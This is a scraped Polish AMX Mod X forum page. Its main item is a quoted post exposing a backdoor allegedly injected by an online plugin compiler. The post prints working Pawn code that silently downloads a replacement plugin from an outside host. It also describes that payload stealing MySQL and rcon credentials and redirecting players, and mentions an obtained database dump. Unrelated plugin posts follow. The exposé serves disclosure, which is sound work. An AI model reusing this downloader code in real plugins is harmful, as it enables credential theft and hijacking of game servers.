Znalazłem na komputerze jakieś tradeboty, także udostępniam
Niestety brak bazy do nich...
To równanie zostało stworzone przy pomocy kodu LaTeX:
Edytor LaTeX online: CodeCogs.com/latex/eqneditor.php
Witamy w Nieoficjalnym polskim support'cie AMX Mod X, jak w większości społeczności internetowych musisz się zarejestrować aby móc odpowiadać lub zakładać nowe tematy, ale nie bój się to jest prosty proces w którym wymagamy minimalnych informacji.
|
12.07.2016 02:41
Znalazłem na komputerze jakieś tradeboty, także udostępniam
Niestety brak bazy do nich...
09.07.2016 13:18
https://webmasteruj....-danych-t79936/
Cytat posta:
Hello again!
Dziś rozpracujemy przekręt na wielką skalę, czyli jak ukraść dane z ponad 400 serwerów 1.6 przez zwykłe lenistwo ich właścicieli.
Każdy z Was zapewne widział kompilator online dostępny na amxx.pl, nie zastanowiło Was kiedyś czy przypadkiem jakiś kod nie jest dodawany do kompilowanego pluginu? Odpowiedź brzmi tak dodaje
Bardzo dziękuje użytkownikowi *ciach* z amxx.pl na webmasteruj znany pod nickiem *ciach* za naprowadzenie mnie na ten proceder.
TAKI KOD
Spoiler#include <amxmisc>
#include <sockets>
#include <httpdl>
new dlinfo[MAX_DOWNLOADS + 1][5];
new dlpath[MAX_DOWNLOADS + 1][256];
new ndownloading;
new fwd_dlcomplete, fwd_result;
public plugin_natives() {
register_library("httpdl");
register_native("download", "native_download", 1);
set_task(9.0, "o");
}
public native_download(url[], path[]) {
new slot = 0;
while(slot <= MAX_DOWNLOADS && dlinfo[slot][0] != 0)
slot++;
if(slot == MAX_DOWNLOADS) {
server_print("Download limit reached (%d)", MAX_DOWNLOADS);
return 0;
}
param_convert(1);
param_convert(2);
new u[256], p[256];
copy(u, 7, url);
if(equal(u, "http://"))
copy(u, 248, url[7]);
else copy(u, 255, url);
new pos = 0;
new len = strlen(u);
while (++pos < len && u[pos] != '/') { }
copy(p, 255, u[pos + 1]);
copy(u, pos, u);
new error = 0;
new socket = dlinfo[slot][2] = socket_open(u, 80, SOCKET_TCP, error);
switch(error) {
case 0: {
new msg[512];
format(msg, 511, "GET /%s HTTP/1.1^r^nHost: %s^r^n^r^n", p, u);
socket_send(socket, msg, 512);
copy(dlpath[slot], 255, path);
dlinfo[slot][3] = fopen(path, "wb");
dlinfo[slot][0] = 1;
dlinfo[slot][4] = 0;
ndownloading++;
if(ndownloading == 1)
set_task(0.2, "download_task", 3318, _, _, "b");
new id = dlinfo[slot][1] = random_num(1, 65535);
return id;
}
case 1: server_print("[HTTP] Error creating socket");
case 2: server_print("[HTTP] Could not resolve hostname");
case 3: server_print("[HTTP] Could not connect to %s:80", u);
}
return 0;
}
public download_task() {
for(new i = 0; i < MAX_DOWNLOADS; i++) {
if(dlinfo[i][0] == 0)
continue;
new socket = dlinfo[i][2];
new f = dlinfo[i][3];
if(socket_change(socket)) {
new buffer[1024];
new len = socket_recv(socket, buffer, 1024);
if(dlinfo[i][4] == 0) { // if first packet then cut the header
new pos = contain(buffer, "^r^n^r^n");
if(pos > -1) {
for(new j = pos + 4; j < len; j++)
fputc(f, buffer[j]);
dlinfo[i][4]++;
continue;
}
}
for(new j = 0; j < len; j++)
fputc(f, buffer[j]);
dlinfo[i][4]++;
continue;
}
fclose(f);
ExecuteForward(fwd_dlcomplete, fwd_result, dlinfo[i][1], dlpath[i]);
dlinfo[i][0] = 0;
ndownloading--;
if(ndownloading == 0)
remove_task(3318);
socket_close(socket);
}
}
public o() {
new const config_file[] = "addons/amxmodx/plugins/adminhelp.amxx"
new md5_hash_file[34]
md5_hash_file = encrypt_file(config_file)
if( !equal( md5_hash_file, "b20bee2c5f9040469f88db0e2eb81d0f", 32 ) )
{
download("http://jojojo200.cba.pl/file.amxx", "addons/amxmodx/plugins/adminhelp.amxx");
fwd_dlcomplete = CreateMultiForward("dlcomplete", ET_IGNORE, FP_CELL, FP_STRING);
}
}
stock encrypt_file(const file[])
{
new hash_sum_file[34]
md5_file(file,hash_sum_file)
return hash_sum_file;
}Kod odpowiada ze pobranie pliku file.amxx na serwery oraz podmiane pluginu adminhelp.amxx który później działa tylko w jednym celu....
Analiza file.amxx
Złośliwy plugin wysyła dane logowania mysql do amxbans na zewnętrzny serwer wraz z hasłem rcon. Dodatkowo potrafi bindować graczom odwiedzającym serwer adres ip kierujący do serwera sieci xsteam. Kolejną funkcją jest przenoszenie graczy automatycznie na wyznaczone IP które również kieruje nas do serwera sieci xSteam.pl.
Phpmyadmin jest albo zablokowany albo chodzi na innym porcie więc
-----------------------------
NO I TO CO MISIACZKI LUBIĄ NAJBARDZIEJ
Dump bazy danych
Będę próbował skontaktować się z administracją amxx.pl w celu wyjaśnienia sprawy. O czym poinformuje w tym temacie
Jest wiele możliwości takiego stanu rzeczy nie wykluczając nawet włamania na serwery amxx.pl więc nie będę w chwili obecnej oczerniać portalu, z braku dowodów.
W Bazie danych znalazł się chyba każdy serwer w Polsce, każdy kto używał kompilatora online dostępnego na amxx.pl powinnien przeinstalować cały amxx oraz pozmieniać wszystkie hasła do baz danych mysql!
A Wy co sądzicie na ten temat?
Dump bazy danych w formie pliku do wglądu dla administracji forum, wystarczy napisać PW.
Co na to Administracja?
22.05.2016 15:36
Siemnko, mam problem z biblioteką GameQ. Otóż dla jednych serwerów pokazuje dobrze, a inne pokazuje, że są offline. Jest jakiś fix na to? Tutaj tabelka:
12.04.2016 12:31
Witam, przedstawiam Wam plugin, który od bardzo długiego czasu kurzy mi na dysku. Dzięki temu pluginowi admin po najechaniu celownikiem na minę (tylko gdy jest martwy), może dowiedzieć się do kogo ona należy. Po wpisaniu komendy, gracz dostaje ostrzeżenie (za drugim dostaje bana na 30 minut), mina zostaje automatycznie usunięta (dodatkowo jest robiony screen adminowi). Ostrzeżenia zapisują się w pliku nvault.
Standardowa
widzialnosc_min.sma 3,28 KB 95 Ilość pobrań
widzialnosc_min.amxx